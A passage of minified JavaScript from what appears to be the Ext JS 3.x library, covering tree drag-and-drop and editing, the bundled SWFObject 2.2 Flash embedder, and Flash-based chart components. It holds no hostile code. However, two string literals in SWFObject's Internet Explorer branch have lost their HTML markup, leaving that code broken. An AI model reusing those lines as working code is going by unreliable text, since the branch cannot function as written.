this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, "append", a, c, b)) { return this.dropAllowed } return this.dropNotAllowed }, onNodeOver:function (b, i, h, g) { var k = this.getDropPoint(h, b, i); var c = b.node; if (!this.expandProcId && k == "append" && c.hasChildNodes() && !b.node.isExpanded()) { this.queueExpand(c) } else { if (k != "append") { this.cancelExpand() } } var d = this.dropNotAllowed; if (this.isValidDropPoint(b, k, i, h, g)) { if (k) { var a = b.ddel; var j; if (k == "above") { d = b.node.isFirst() ? "x-tree-drop-ok-above" : "x-tree-drop-ok-between"; j = "x-tree-drag-insert-above" } else { if (k == "below") { d = b.node.isLast() ? "x-tree-drop-ok-below" : "x-tree-drop-ok-between"; j = "x-tree-drag-insert-below" } else { d = "x-tree-drop-ok-append"; j = "x-tree-drag-append" } } if (this.lastInsertClass != j) { Ext.fly(a).replaceClass(this.lastInsertClass, j); this.lastInsertClass = j } } } return d }, onNodeOut:function (d, a, c, b) { this.cancelExpand(); this.removeDropIndicators(d) }, onNodeDrop:function (i, b, h, d) { var a = this.getDropPoint(h, i, b); var g = i.node; g.ui.startDrop(); if (!this.isValidDropPoint(i, a, b, h, d)) { g.ui.endDrop(); return false } var c = d.node || (b.getTreeNode ? b.getTreeNode(d, g, a, h) : null); return this.processDrop(g, d, a, b, h, c) }, onContainerDrop:function (a, g, c) { if (this.allowContainerDrop && this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, "append", a, g, c)) { var d = this.tree.getRootNode(); d.ui.startDrop(); var b = c.node || (a.getTreeNode ? a.getTreeNode(c, d, "append", g) : null); return this.processDrop(d, c, "append", a, g, b) } return false }, processDrop:function (j, h, b, a, i, d) { var g = {tree:this.tree, target:j, data:h, point:b, source:a, rawEvent:i, dropNode:d, cancel:!d, dropStatus:false}; var c = this.tree.fireEvent("beforenodedrop", g); if (c === false || g.cancel === true || !g.dropNode) { j.ui.endDrop(); return g.dropStatus } j = g.target; if (b == "append" && !j.isExpanded()) { j.expand(false, null, function () { this.completeDrop(g) }.createDelegate(this)) } else { this.completeDrop(g) } return true }, completeDrop:function (h) { var d = h.dropNode, e = h.point, c = h.target; if (!Ext.isArray(d)) { d = [d] } var g; for (var b = 0, a = d.length; b < a; b++) { g = d[b]; if (e == "above") { c.parentNode.insertBefore(g, c) } else { if (e == "below") { c.parentNode.insertBefore(g, c.nextSibling) } else { c.appendChild(g) } } } g.ui.focus(); if (Ext.enableFx && this.tree.hlDrop) { g.ui.highlight() } c.ui.endDrop(); this.tree.fireEvent("nodedrop", h) }, afterNodeMoved:function (a, c, g, d, b) { if (Ext.enableFx && this.tree.hlDrop) { b.ui.focus(); b.ui.highlight() } this.tree.fireEvent("nodedrop", this.tree, d, c, a, g) }, getTree:function () { return this.tree }, removeDropIndicators:function (b) { if (b && b.ddel) { var a = b.ddel; Ext.fly(a).removeClass(["x-tree-drag-insert-above", "x-tree-drag-insert-below", "x-tree-drag-append"]); this.lastInsertClass = "_noclass" } }, beforeDragDrop:function (b, a, c) { this.cancelExpand(); return true }, afterRepair:function (a) { if (a && Ext.enableFx) { a.node.ui.highlight() } this.hideProxy() }}) } if (Ext.dd.DragZone) { Ext.tree.TreeDragZone = function (a, b) { Ext.tree.TreeDragZone.superclass.constructor.call(this, a.innerCt, b); this.tree = a }; Ext.extend(Ext.tree.TreeDragZone, Ext.dd.DragZone, {ddGroup:"TreeDD", onBeforeDrag:function (a, b) { var c = a.node; return c && c.draggable && !c.disabled }, onInitDrag:function (b) { var a = this.dragData; this.tree.getSelectionModel().select(a.node); this.tree.eventModel.disable(); this.proxy.update(""); a.node.ui.appendDDGhost(this.proxy.ghost.dom); this.tree.fireEvent("startdrag", this.tree, a.node, b) }, getRepairXY:function (b, a) { return a.node.ui.getDDRepairXY() }, onEndDrag:function (a, b) { this.tree.eventModel.enable.defer(100, this.tree.eventModel); this.tree.fireEvent("enddrag", this.tree, a.node, b) }, onValidDrop:function (a, b, c) { this.tree.fireEvent("dragdrop", this.tree, this.dragData.node, a, b); this.hideProxy() }, beforeInvalidDrop:function (a, c) { var b = this.tree.getSelectionModel(); b.clearSelections(); b.select(this.dragData.node) }, afterRepair:function () { if (Ext.enableFx && this.tree.hlDrop) { Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || "c3daf9") } this.dragging = false }}) } Ext.tree.TreeEditor = function (a, c, b) { c = c || {}; var d = c.events ? c : new Ext.form.TextField(c); Ext.tree.TreeEditor.superclass.constructor.call(this, d, b); this.tree = a; if (!a.rendered) { a.on("render", this.initEditor, this) } else { this.initEditor(a) } }; Ext.extend(Ext.tree.TreeEditor, Ext.Editor, {alignment:"l-l", autoSize:false, hideEl:false, cls:"x-small-editor x-tree-editor", shim:false, shadow:"frame", maxWidth:250, editDelay:350, initEditor:function (a) { a.on({scope:this, beforeclick:this.beforeNodeClick, dblclick:this.onNodeDblClick}); this.on({scope:this, complete:this.updateNode, beforestartedit:this.fitToTree, specialkey:this.onSpecialKey}); this.on("startedit", this.bindScroll, this, {delay:10}) }, fitToTree:function (b, c) { var e = this.tree.getTreeEl().dom, d = c.dom; if (e.scrollLeft > d.offsetLeft) { e.scrollLeft = d.offsetLeft } var a = Math.min(this.maxWidth, (e.clientWidth > 20 ? e.clientWidth : e.offsetWidth) - Math.max(0, d.offsetLeft - e.scrollLeft) - 5); this.setSize(a, "") }, triggerEdit:function (a, c) { this.completeEdit(); if (a.attributes.editable !== false) { this.editNode = a; if (this.tree.autoScroll) { Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body) } var b = a.text || ""; if (!Ext.isGecko && Ext.isEmpty(a.text)) { a.setText(" ") } this.autoEditTimer = this.startEdit.defer(this.editDelay, this, [a.ui.textNode, b]); return false } }, bindScroll:function () { this.tree.getTreeEl().on("scroll", this.cancelEdit, this) }, beforeNodeClick:function (a, b) { clearTimeout(this.autoEditTimer); if (this.tree.getSelectionModel().isSelected(a)) { b.stopEvent(); return this.triggerEdit(a) } }, onNodeDblClick:function (a, b) { clearTimeout(this.autoEditTimer) }, updateNode:function (a, b) { this.tree.getTreeEl().un("scroll", this.cancelEdit, this); this.editNode.setText(b) }, onHide:function () { Ext.tree.TreeEditor.superclass.onHide.call(this); if (this.editNode) { this.editNode.ui.focus.defer(50, this.editNode.ui) } }, onSpecialKey:function (c, b) { var a = b.getKey(); if (a == b.ESC) { b.stopEvent(); this.cancelEdit() } else { if (a == b.ENTER && !b.hasModifier()) { b.stopEvent(); this.completeEdit() } } }, onDestroy:function () { clearTimeout(this.autoEditTimer); Ext.tree.TreeEditor.superclass.onDestroy.call(this); var a = this.tree; a.un("beforeclick", this.beforeNodeClick, this); a.un("dblclick", this.onNodeDblClick, this) }}); /* SWFObject v2.2 is released under the MIT License */ var swfobject = function () { var E = "undefined", s = "object", T = "Shockwave Flash", X = "ShockwaveFlash.ShockwaveFlash", r = "application/x-shockwave-flash", S = "SWFObjectExprInst", y = "onreadystatechange", P = window, k = document, u = navigator, U = false, V = [i], p = [], O = [], J = [], m, R, F, C, K = false, a = false, o, H, n = true, N = function () { var ab = typeof k.getElementById != E && typeof k.getElementsByTagName != E && typeof k.createElement != E, ai = u.userAgent.toLowerCase(), Z = u.platform.toLowerCase(), af = Z ? (/win/).test(Z) : /win/.test(ai), ad = Z ? (/mac/).test(Z) : /mac/.test(ai), ag = /webkit/.test(ai) ? parseFloat(ai.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : false, Y = !+"\v1", ah = [0, 0, 0], ac = null; if (typeof u.plugins != E && typeof u.plugins[T] == s) { ac = u.plugins[T].description; if (ac && !(typeof u.mimeTypes != E && u.mimeTypes[r] && !u.mimeTypes[r].enabledPlugin)) { U = true; Y = false; ac = ac.replace(/^.*\s+(\S+\s+\S+$)/, "$1"); ah[0] = parseInt(ac.replace(/^(.*)\..*$/, "$1"), 10); ah[1] = parseInt(ac.replace(/^.*\.(.*)\s.*$/, "$1"), 10); ah[2] = /[a-zA-Z]/.test(ac) ? parseInt(ac.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0 } } else { if (typeof P.ActiveXObject != E) { try { var ae = new ActiveXObject(X); if (ae) { ac = ae.GetVariable("$version"); if (ac) { Y = true; ac = ac.split(" ")[1].split(","); ah = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)] } } } catch (aa) { } } } return{w3:ab, pv:ah, wk:ag, ie:Y, win:af, mac:ad} }(), l = function () { if (!N.w3) { return } if ((typeof k.readyState != E && k.readyState == "complete") || (typeof k.readyState == E && (k.getElementsByTagName("body")[0] || k.body))) { g() } if (!K) { if (typeof k.addEventListener != E) { k.addEventListener("DOMContentLoaded", g, false) } if (N.ie && N.win) { k.attachEvent(y, function () { if (k.readyState == "complete") { k.detachEvent(y, arguments.callee); g() } }); if (P == top) { (function () { if (K) { return } try { k.documentElement.doScroll("left") } catch (Y) { setTimeout(arguments.callee, 0); return } g() })() } } if (N.wk) { (function () { if (K) { return } if (!(/loaded|complete/).test(k.readyState)) { setTimeout(arguments.callee, 0); return } g() })() } t(g) } }(); function g() { if (K) { return } try { var aa = k.getElementsByTagName("body")[0].appendChild(D("span")); aa.parentNode.removeChild(aa) } catch (ab) { return } K = true; var Y = V.length; for (var Z = 0; Z < Y; Z++) { V[Z]() } } function L(Y) { if (K) { Y() } else { V[V.length] = Y } } function t(Z) { if (typeof P.addEventListener != E) { P.addEventListener("load", Z, false) } else { if (typeof k.addEventListener != E) { k.addEventListener("load", Z, false) } else { if (typeof P.attachEvent != E) { j(P, "onload", Z) } else { if (typeof P.onload == "function") { var Y = P.onload; P.onload = function () { Y(); Z() } } else { P.onload = Z } } } } } function i() { if (U) { W() } else { I() } } function W() { var Y = k.getElementsByTagName("body")[0]; var ab = D(s); ab.setAttribute("type", r); var aa = Y.appendChild(ab); if (aa) { var Z = 0; (function () { if (typeof aa.GetVariable != E) { var ac = aa.GetVariable("$version"); if (ac) { ac = ac.split(" ")[1].split(","); N.pv = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)] } } else { if (Z < 10) { Z++; setTimeout(arguments.callee, 10); return } } Y.removeChild(ab); aa = null; I() })() } else { I() } } function I() { var ah = p.length; if (ah > 0) { for (var ag = 0; ag < ah; ag++) { var Z = p[ag].id; var ac = p[ag].callbackFn; var ab = {success:false, id:Z}; if (N.pv[0] > 0) { var af = c(Z); if (af) { if (G(p[ag].swfVersion) && !(N.wk && N.wk < 312)) { x(Z, true); if (ac) { ab.success = true; ab.ref = A(Z); ac(ab) } } else { if (p[ag].expressInstall && B()) { var aj = {}; aj.data = p[ag].expressInstall; aj.width = af.getAttribute("width") || "0"; aj.height = af.getAttribute("height") || "0"; if (af.getAttribute("class")) { aj.styleclass = af.getAttribute("class") } if (af.getAttribute("align")) { aj.align = af.getAttribute("align") } var ai = {}; var Y = af.getElementsByTagName("param"); var ad = Y.length; for (var ae = 0; ae < ad; ae++) { if (Y[ae].getAttribute("name").toLowerCase() != "movie") { ai[Y[ae].getAttribute("name")] = Y[ae].getAttribute("value") } } Q(aj, ai, Z, ac) } else { q(af); if (ac) { ac(ab) } } } } } else { x(Z, true); if (ac) { var aa = A(Z); if (aa && typeof aa.SetVariable != E) { ab.success = true; ab.ref = aa } ac(ab) } } } } } function A(ab) { var Y = null; var Z = c(ab); if (Z && Z.nodeName == "OBJECT") { if (typeof Z.SetVariable != E) { Y = Z } else { var aa = Z.getElementsByTagName(s)[0]; if (aa) { Y = aa } } } return Y } function B() { return !a && G("6.0.65") && (N.win || N.mac) && !(N.wk && N.wk < 312) } function Q(ab, ac, Y, aa) { a = true; F = aa || null; C = {success:false, id:Y}; var af = c(Y); if (af) { if (af.nodeName == "OBJECT") { m = h(af); R = null } else { m = af; R = Y } ab.id = S; if (typeof ab.width == E || (!(/%$/).test(ab.width) && parseInt(ab.width, 10) < 310)) { ab.width = "310" } if (typeof ab.height == E || (!(/%$/).test(ab.height) && parseInt(ab.height, 10) < 137)) { ab.height = "137" } k.title = k.title.slice(0, 47) + " - Flash Player Installation"; var ae = N.ie && N.win ? "ActiveX" : "PlugIn", ad = "MMredirectURL=" + P.location.toString().replace(/&/g, "%26") + "&MMplayerType=" + ae + "&MMdoctitle=" + k.title; if (typeof ac.flashvars != E) { ac.flashvars += "&" + ad } else { ac.flashvars = ad } if (N.ie && N.win && af.readyState != 4) { var Z = D("div"); Y += "SWFObjectNew"; Z.setAttribute("id", Y); af.parentNode.insertBefore(Z, af); af.style.display = "none"; (function () { if (af.readyState == 4) { af.parentNode.removeChild(af) } else { setTimeout(arguments.callee, 10) } })() } v(ab, ac, Y) } } function q(Z) { if (N.ie && N.win && Z.readyState != 4) { var Y = D("div"); Z.parentNode.insertBefore(Y, Z); Y.parentNode.replaceChild(h(Z), Y); Z.style.display = "none"; (function () { if (Z.readyState == 4) { Z.parentNode.removeChild(Z) } else { setTimeout(arguments.callee, 10) } })() } else { Z.parentNode.replaceChild(h(Z), Z) } } function h(ad) { var ab = D("div"); if (N.win && N.ie) { ab.innerHTML = ad.innerHTML } else { var Z = ad.getElementsByTagName(s)[0]; if (Z) { var ae = Z.childNodes; if (ae) { var Y = ae.length; for (var aa = 0; aa < Y; aa++) { if (!(ae[aa].nodeType == 1 && ae[aa].nodeName == "PARAM") && !(ae[aa].nodeType == 8)) { ab.appendChild(ae[aa].cloneNode(true)) } } } } } return ab } function v(aj, ah, Z) { var Y, ab = c(Z); if (N.wk && N.wk < 312) { return Y } if (ab) { if (typeof aj.id == E) { aj.id = Z } if (N.ie && N.win) { var ai = ""; for (var af in aj) { if (aj[af] != Object.prototype[af]) { if (af.toLowerCase() == "data") { ah.movie = aj[af] } else { if (af.toLowerCase() == "styleclass") { ai += ' class="' + aj[af] + '"' } else { if (af.toLowerCase() != "classid") { ai += " " + af + '="' + aj[af] + '"' } } } } } var ag = ""; for (var ae in ah) { if (ah[ae] != Object.prototype[ae]) { ag += '' } } ab.outerHTML = '" + ag + ""; O[O.length] = aj.id; Y = c(aj.id) } else { var aa = D(s); aa.setAttribute("type", r); for (var ad in aj) { if (aj[ad] != Object.prototype[ad]) { if (ad.toLowerCase() == "styleclass") { aa.setAttribute("class", aj[ad]) } else { if (ad.toLowerCase() != "classid") { aa.setAttribute(ad, aj[ad]) } } } } for (var ac in ah) { if (ah[ac] != Object.prototype[ac] && ac.toLowerCase() != "movie") { e(aa, ac, ah[ac]) } } ab.parentNode.replaceChild(aa, ab); Y = aa } } return Y } function e(aa, Y, Z) { var ab = D("param"); ab.setAttribute("name", Y); ab.setAttribute("value", Z); aa.appendChild(ab) } function z(Z) { var Y = c(Z); if (Y && Y.nodeName == "OBJECT") { if (N.ie && N.win) { Y.style.display = "none"; (function () { if (Y.readyState == 4) { b(Z) } else { setTimeout(arguments.callee, 10) } })() } else { Y.parentNode.removeChild(Y) } } } function b(aa) { var Z = c(aa); if (Z) { for (var Y in Z) { if (typeof Z[Y] == "function") { Z[Y] = null } } Z.parentNode.removeChild(Z) } } function c(aa) { var Y = null; try { Y = k.getElementById(aa) } catch (Z) { } return Y } function D(Y) { return k.createElement(Y) } function j(aa, Y, Z) { aa.attachEvent(Y, Z); J[J.length] = [aa, Y, Z] } function G(aa) { var Z = N.pv, Y = aa.split("."); Y[0] = parseInt(Y[0], 10); Y[1] = parseInt(Y[1], 10) || 0; Y[2] = parseInt(Y[2], 10) || 0; return(Z[0] > Y[0] || (Z[0] == Y[0] && Z[1] > Y[1]) || (Z[0] == Y[0] && Z[1] == Y[1] && Z[2] >= Y[2])) ? true : false } function w(ad, Z, ae, ac) { if (N.ie && N.mac) { return } var ab = k.getElementsByTagName("head")[0]; if (!ab) { return } var Y = (ae && typeof ae == "string") ? ae : "screen"; if (ac) { o = null; H = null } if (!o || H != Y) { var aa = D("style"); aa.setAttribute("type", "text/css"); aa.setAttribute("media", Y); o = ab.appendChild(aa); if (N.ie && N.win && typeof k.styleSheets != E && k.styleSheets.length > 0) { o = k.styleSheets[k.styleSheets.length - 1] } H = Y } if (N.ie && N.win) { if (o && typeof o.addRule == s) { o.addRule(ad, Z) } } else { if (o && typeof k.createTextNode != E) { o.appendChild(k.createTextNode(ad + " {" + Z + "}")) } } } function x(aa, Y) { if (!n) { return } var Z = Y ? "visible" : "hidden"; if (K && c(aa)) { c(aa).style.visibility = Z } else { w("#" + aa, "visibility:" + Z) } } function M(Z) { var aa = /[\\\"<>\.;]/; var Y = aa.exec(Z) != null; return Y && typeof encodeURIComponent != E ? encodeURIComponent(Z) : Z } var d = function () { if (N.ie && N.win) { window.attachEvent("onunload", function () { var ad = J.length; for (var ac = 0; ac < ad; ac++) { J[ac][0].detachEvent(J[ac][1], J[ac][2]) } var aa = O.length; for (var ab = 0; ab < aa; ab++) { z(O[ab]) } for (var Z in N) { N[Z] = null } N = null; for (var Y in swfobject) { swfobject[Y] = null } swfobject = null; window.detachEvent("onunload", arguments.callee) }) } }(); return{registerObject:function (ac, Y, ab, aa) { if (N.w3 && ac && Y) { var Z = {}; Z.id = ac; Z.swfVersion = Y; Z.expressInstall = ab; Z.callbackFn = aa; p[p.length] = Z; x(ac, false) } else { if (aa) { aa({success:false, id:ac}) } } }, getObjectById:function (Y) { if (N.w3) { return A(Y) } }, embedSWF:function (ac, ai, af, ah, Z, ab, aa, ae, ag, ad) { var Y = {success:false, id:ai}; if (N.w3 && !(N.wk && N.wk < 312) && ac && ai && af && ah && Z) { x(ai, false); L(function () { af += ""; ah += ""; var ak = {}; if (ag && typeof ag === s) { for (var am in ag) { ak[am] = ag[am] } } ak.data = ac; ak.width = af; ak.height = ah; var an = {}; if (ae && typeof ae === s) { for (var al in ae) { an[al] = ae[al] } } if (aa && typeof aa === s) { for (var aj in aa) { if (typeof an.flashvars != E) { an.flashvars += "&" + aj + "=" + aa[aj] } else { an.flashvars = aj + "=" + aa[aj] } } } if (G(Z)) { var ao = v(ak, an, ai); if (ak.id == ai) { x(ai, true) } Y.success = true; Y.ref = ao } else { if (ab && B()) { ak.data = ab; Q(ak, an, ai, ad); return } else { x(ai, true) } } if (ad) { ad(Y) } }) } else { if (ad) { ad(Y) } } }, switchOffAutoHideShow:function () { n = false }, ua:N, getFlashPlayerVersion:function () { return{major:N.pv[0], minor:N.pv[1], release:N.pv[2]} }, hasFlashPlayerVersion:G, createSWF:function (aa, Z, Y) { if (N.w3) { return v(aa, Z, Y) } else { return undefined } }, showExpressInstall:function (aa, ab, Y, Z) { if (N.w3 && B()) { Q(aa, ab, Y, Z) } }, removeSWF:function (Y) { if (N.w3) { z(Y) } }, createCSS:function (ab, aa, Z, Y) { if (N.w3) { w(ab, aa, Z, Y) } }, addDomLoadEvent:L, addLoadEvent:t, getQueryParamValue:function (ab) { var aa = k.location.search || k.location.hash; if (aa) { if (/\?/.test(aa)) { aa = aa.split("?")[1] } if (ab == null) { return M(aa) } var Z = aa.split("&"); for (var Y = 0; Y < Z.length; Y++) { if (Z[Y].substring(0, Z[Y].indexOf("=")) == ab) { return M(Z[Y].substring((Z[Y].indexOf("=") + 1))) } } } return"" }, expressInstallCallback:function () { if (a) { var Y = c(S); if (Y && m) { Y.parentNode.replaceChild(m, Y); if (R) { x(R, true); if (N.ie && N.win) { m.style.display = "block" } } if (F) { F(C) } } a = false } }} }(); Ext.FlashComponent = Ext.extend(Ext.BoxComponent, {flashVersion:"9.0.115", backgroundColor:"#ffffff", wmode:"opaque", flashVars:undefined, flashParams:undefined, url:undefined, swfId:undefined, swfWidth:"100%", swfHeight:"100%", expressInstall:false, initComponent:function () { Ext.FlashComponent.superclass.initComponent.call(this); this.addEvents("initialize") }, onRender:function () { Ext.FlashComponent.superclass.onRender.apply(this, arguments); var b = Ext.apply({allowScriptAccess:"always", bgcolor:this.backgroundColor, wmode:this.wmode}, this.flashParams), a = Ext.apply({allowedDomain:document.location.hostname, YUISwfId:this.getId(), YUIBridgeCallback:"Ext.FlashEventProxy.onEvent"}, this.flashVars); new swfobject.embedSWF(this.url, this.id, this.swfWidth, this.swfHeight, this.flashVersion, this.expressInstall ? Ext.FlashComponent.EXPRESS_INSTALL_URL : undefined, a, b); this.swf = Ext.getDom(this.id); this.el = Ext.get(this.swf) }, getSwfId:function () { return this.swfId || (this.swfId = "extswf" + (++Ext.Component.AUTO_ID)) }, getId:function () { return this.id || (this.id = "extflashcmp" + (++Ext.Component.AUTO_ID)) }, onFlashEvent:function (a) { switch (a.type) { case"swfReady": this.initSwf(); return; case"log": return } a.component = this; this.fireEvent(a.type.toLowerCase().replace(/event$/, ""), a) }, initSwf:function () { this.onSwfReady(!!this.isInitialized); this.isInitialized = true; this.fireEvent("initialize", this) }, beforeDestroy:function () { if (this.rendered) { swfobject.removeSWF(this.swf.id) } Ext.FlashComponent.superclass.beforeDestroy.call(this) }, onSwfReady:Ext.emptyFn}); Ext.FlashComponent.EXPRESS_INSTALL_URL = "http://swfobject.googlecode.com/svn/trunk/swfobject/expressInstall.swf"; Ext.reg("flash", Ext.FlashComponent); Ext.FlashEventProxy = {onEvent:function (c, b) { var a = Ext.getCmp(c); if (a) { a.onFlashEvent(b) } else { arguments.callee.defer(10, this, [c, b]) } }}; Ext.chart.Chart = Ext.extend(Ext.FlashComponent, {refreshBuffer:100, chartStyle:{padding:10, animationEnabled:true, font:{name:"Tahoma", color:4473924, size:11}, dataTip:{padding:5, border:{color:10075112, size:1}, background:{color:14346230, alpha:0.9}, font:{name:"Tahoma", color:1393291, size:10, bold:true}}}, extraStyle:null, seriesStyles:null, disableCaching:Ext.isIE || Ext.isOpera, disableCacheParam:"_dc", initComponent:function () { Ext.chart.Chart.superclass.initComponent.call(this); if (!this.url) { this.url = Ext.chart.Chart.CHART_URL } if (this.disableCaching) { this.url = Ext.urlAppend(this.url, String.format("{0}={1}", this.disableCacheParam, new Date().getTime())) } this.addEvents("itemmouseover", "itemmouseout", "itemclick", "itemdoubleclick", "itemdragstart", "itemdrag", "itemdragend", "beforerefresh", "refresh"); this.store = Ext.StoreMgr.lookup(this.store) }, setStyle:function (a, b) { this.swf.setStyle(a, Ext.encode(b)) }, setStyles:function (a) { this.swf.setStyles(Ext.encode(a)) }, setSeriesStyles:function (b) { this.seriesStyles = b; var a = []; Ext.each(b, function (c) { a.push(Ext.encode(c)) }); this.swf.setSeriesStyles(a) }, setCategoryNames:function (a) { this.swf.setCategoryNames(a) }, setLegendRenderer:function (c, b) { var a = this; b = b || a; a.removeFnProxy(a.legendFnName); a.legendFnName = a.createFnProxy(function (d) { return c.call(b, d) }); a.swf.setLegendLabelFunction(a.legendFnName) }, setTipRenderer:function (c, b) { var a = this; b = b || a; a.removeFnProxy(a.tipFnName); a.tipFnName = a.createFnProxy(function (h, e, g) { var d = a.store.getAt(e); return c.call(b, a, d, e, g) }); a.swf.setDataTipFunction(a.tipFnName) }, setSeries:function (a) { this.series = a; this.refresh() }, bindStore:function (a, b) { if (!b && this.store) { if (a !== this.store && this.store.autoDestroy) { this.store.destroy() } else { this.store.un("datachanged", this.refresh, this); this.store.un("add", this.delayRefresh, this); this.store.un("remove", this.delayRefresh, this); this.store.un("update", this.delayRefresh, this); this.store.un("clear", this.refresh, this) } } if (a) { a = Ext.StoreMgr.lookup(a); a.on({scope:this, datachanged:this.refresh, add:this.delayRefresh, remove:this.delayRefresh, update:this.delayRefresh, clear:this.refresh}) } this.store = a; if (a && !b) { this.refresh() } }, onSwfReady:function (b) { Ext.chart.Chart.superclass.onSwfReady.call(this, b); var a; this.swf.setType(this.type); if (this.chartStyle) { this.setStyles(Ext.apply({}, this.extraStyle, this.chartStyle)) } if (this.categoryNames) { this.setCategoryNames(this.categoryNames) } if (this.tipRenderer) { a = this.getFunctionRef(this.tipRenderer); this.setTipRenderer(a.fn, a.scope) } if (this.legendRenderer) { a = this.getFunctionRef(this.legendRenderer); this.setLegendRenderer(a.fn, a.scope) } if (!b) { this.bindStore(this.store, true) } this.refresh.defer(10, this) }, delayRefresh:function () { if (!this.refreshTask) { this.refreshTask = new Ext.util.DelayedTask(this.refresh, this) } this.refreshTask.delay(this.refreshBuffer) }, refresh:function () { if (this.fireEvent("beforerefresh", this) !== false) { var m = false; var k = [], c = this.store.data.items; for (var g = 0, l = c.length; g < l; g++) { k[g] = c[g].data } var e = []; var d = 0; var n = null; var h = 0; if (this.series) { d = this.series.length; for (h = 0; h < d; h++) { n = this.series[h]; var b = {}; for (var a in n) { if (a == "style" && n.style !== null) { b.style = Ext.encode(n.style); m = true } else { b[a] = n[a] } } e.push(b) } } if (d > 0) { for (h = 0; h < d; h++) { n = e[h]; if (!n.type) { n.type = this.type } n.dataProvider = k } } else { e.push({type:this.type, dataProvider:k}) } this.swf.setDataProvider(e); if (this.seriesStyles) { this.setSeriesStyles(this.seriesStyles) } this.fireEvent("refresh", this) } }, createFnProxy:function (a) { var b = "extFnProxy" + (++Ext.chart.Chart.PROXY_FN_ID); Ext.chart.Chart.proxyFunction[b] = a; return"Ext.chart.Chart.proxyFunction." + b }, removeFnProxy:function (a) { if (!Ext.isEmpty(a)) { a = a.replace("Ext.chart.Chart.proxyFunction.", ""); delete Ext.chart.Chart.proxyFunction[a] } }, getFunctionRef:function (a) { if (Ext.isFunction(a)) { return{fn:a, scope:this} } else { return{fn:a.fn, scope:a.scope || this} } }, onDestroy:function () { if (this.refreshTask && this.refreshTask.cancel) { this.refreshTask.cancel() } Ext.chart.Chart.superclass.onDestroy.call(this); this.bindStore(null); this.removeFnProxy(this.tipFnName); this.removeFnProxy(this.legendFnName) }}); Ext.reg("chart", Ext.chart.Chart); Ext.chart.Chart.PROXY_FN_ID = 0; Ext.chart.Chart.proxyFunction = {}; Ext.chart.Chart.CHART_URL = "http://yui.yahooapis.com/2.8.2/build/charts/assets/charts.swf"; Ext.chart.PieChart = Ext.extend(Ext.chart.Chart, {type:"pie", onSwfReady:function (a) { Ext.chart.PieChart.superclass.onSwfReady.call(this, a); this.setDataField(this.dataField); this.setCategoryField(this.categoryField) }, setDataField:function (a) { this.dataField = a; this.swf.setDataField(a) }, setCategoryField:function (a) { this.categoryField = a; this.swf.setCategoryField(a) }}); Ext.reg("piechart", Ext.chart.PieChart); Ext.chart.CartesianChart = Ext.extend(Ext.chart.Chart, {onSwfReady:function (a) { Ext.chart.CartesianChart.superclass.onSwfReady.call(this, a); this.labelFn = []; if (this.xField) { this.setXField(this.xField) } if (this.yField) { this.setYField(this.yField) } if (this.xAxis) { this.setXAxis(this.xAxis) } if (this.xAxes) { this.setXAxes(this.xAxes) } if (this.yAxis) { this.setYAxis(this.yAxis) } if (this.yAxes) { this.setYAxes(this.yAxes) } if (Ext.isDefined(this.constrainViewport)) { this.swf.setConstrainViewport(this.constrainViewport) } }, setXField:function (a) { this.xField = a; this.swf.setHorizontalField(a) }, setYField:function (a) { this.yField = a; this.swf.setVerticalField(a) }, setXAxis:function (a) { this.xAxis = this.createAxis("xAxis", a); this.swf.setHorizontalAxis(this.xAxis) }, setXAxes:function (c) { var b; for (var a = 0; a < c.length; a++) { b = this.createAxis("xAxis" + a, c[a]); this.swf.setHorizontalAxis(b) } }, setYAxis:function (a) { this.yAxis = this.createAxis("yAxis", a); this.swf.setVerticalAxis(this.yAxis) }, setYAxes:function (c) { var b; for (var a = 0; a < c.length; a++) { b = this.createAxis("yAxis" + a, c[a]); this.swf.setVerticalAxis(b) } }, createAxis:function (b, d) { var e = Ext.apply({}, d), c, a; if (this[b]) { a = this[b].labelFunction; this.removeFnProxy(a); this.labelFn.remove(a) } if (e.labelRenderer) { c = this.getFunctionRef(e.labelRenderer); e.labelFunction = this.createFnProxy(function (g) { return c.fn.call(c.scope, g) }); delete e.labelRenderer; this.labelFn.push(e.labelFunction) } if (b.indexOf("xAxis") > -1 && e.position == "left") { e.position = "bottom" } return e }, onDestroy:function () { Ext.chart.CartesianChart.superclass.onDestroy.call(this); Ext.each(this.labelFn, function (a) { this.removeFnProxy(a) }, this) }}); Ext.reg("cartesianchart", Ext.chart.CartesianChart); Ext.chart.LineChart = Ext.extend(Ext.chart.CartesianChart, {type:"line"}); Ext.reg("linechart", Ext.chart.LineChart); Ext.chart.ColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:"column"}); Ext.reg("columnchart", Ext.chart.ColumnChart); Ext.chart.StackedColumnChart = Ext.extend(Ext.chart.CartesianChart, {type:"stackcolumn"}); Ext.reg("stackedcolumnchart", Ext.chart.StackedColumnChart); Ext.chart.BarChart = Ext.extend(Ext.chart.CartesianChart, {type:"bar"}); Ext.reg("barchart", Ext.chart.BarChart); Ext.chart.StackedBarChart = Ext.extend(Ext.chart.CartesianChart, {type:"stackbar"}); Ext.reg("stackedbarchart", Ext.chart.StackedBarChart); Ext.chart.Axis = function (a) { Ext.apply(this, a) }; Ext.chart.Axis.prototype = {type:null, orientation:"horizontal", reverse:false, labelFunction:null, hideOverlappingLabels:true, labelSpacing:2}; Ext.chart.NumericAxis = Ext.extend(Ext.chart.Axis, {type:"numeric", minimum:NaN, maximum:NaN, majorUnit:NaN, minorUnit:NaN, snapToUnits:true, alwaysShowZero:true, scale:"linear", roundMajorUnit:true, calculateByLabelSize:true, position:"left", adjustMaximumByMajorUnit:true, adjustMinimumByMajorUnit:true}); Ext.chart.TimeAxis = Ext.extend(Ext.chart.Axis, {type:"time", minimum:null, maximum:null, majorUnit:NaN, majorTimeUnit:null, minorUnit:NaN, minorTimeUnit:null, snapToUnits:true, stackingEnabled:false, calculateByLabelSize:true}); Ext.chart.CategoryAxis = Ext.extend(Ext.chart.Axis, {type:"category", categoryNames:null, calculateCategoryCount:false}); Ext.chart.Series = function (a) { Ext.apply(this, a) }; Ext.chart.Series.prototype = {type:null, displayName:null}; 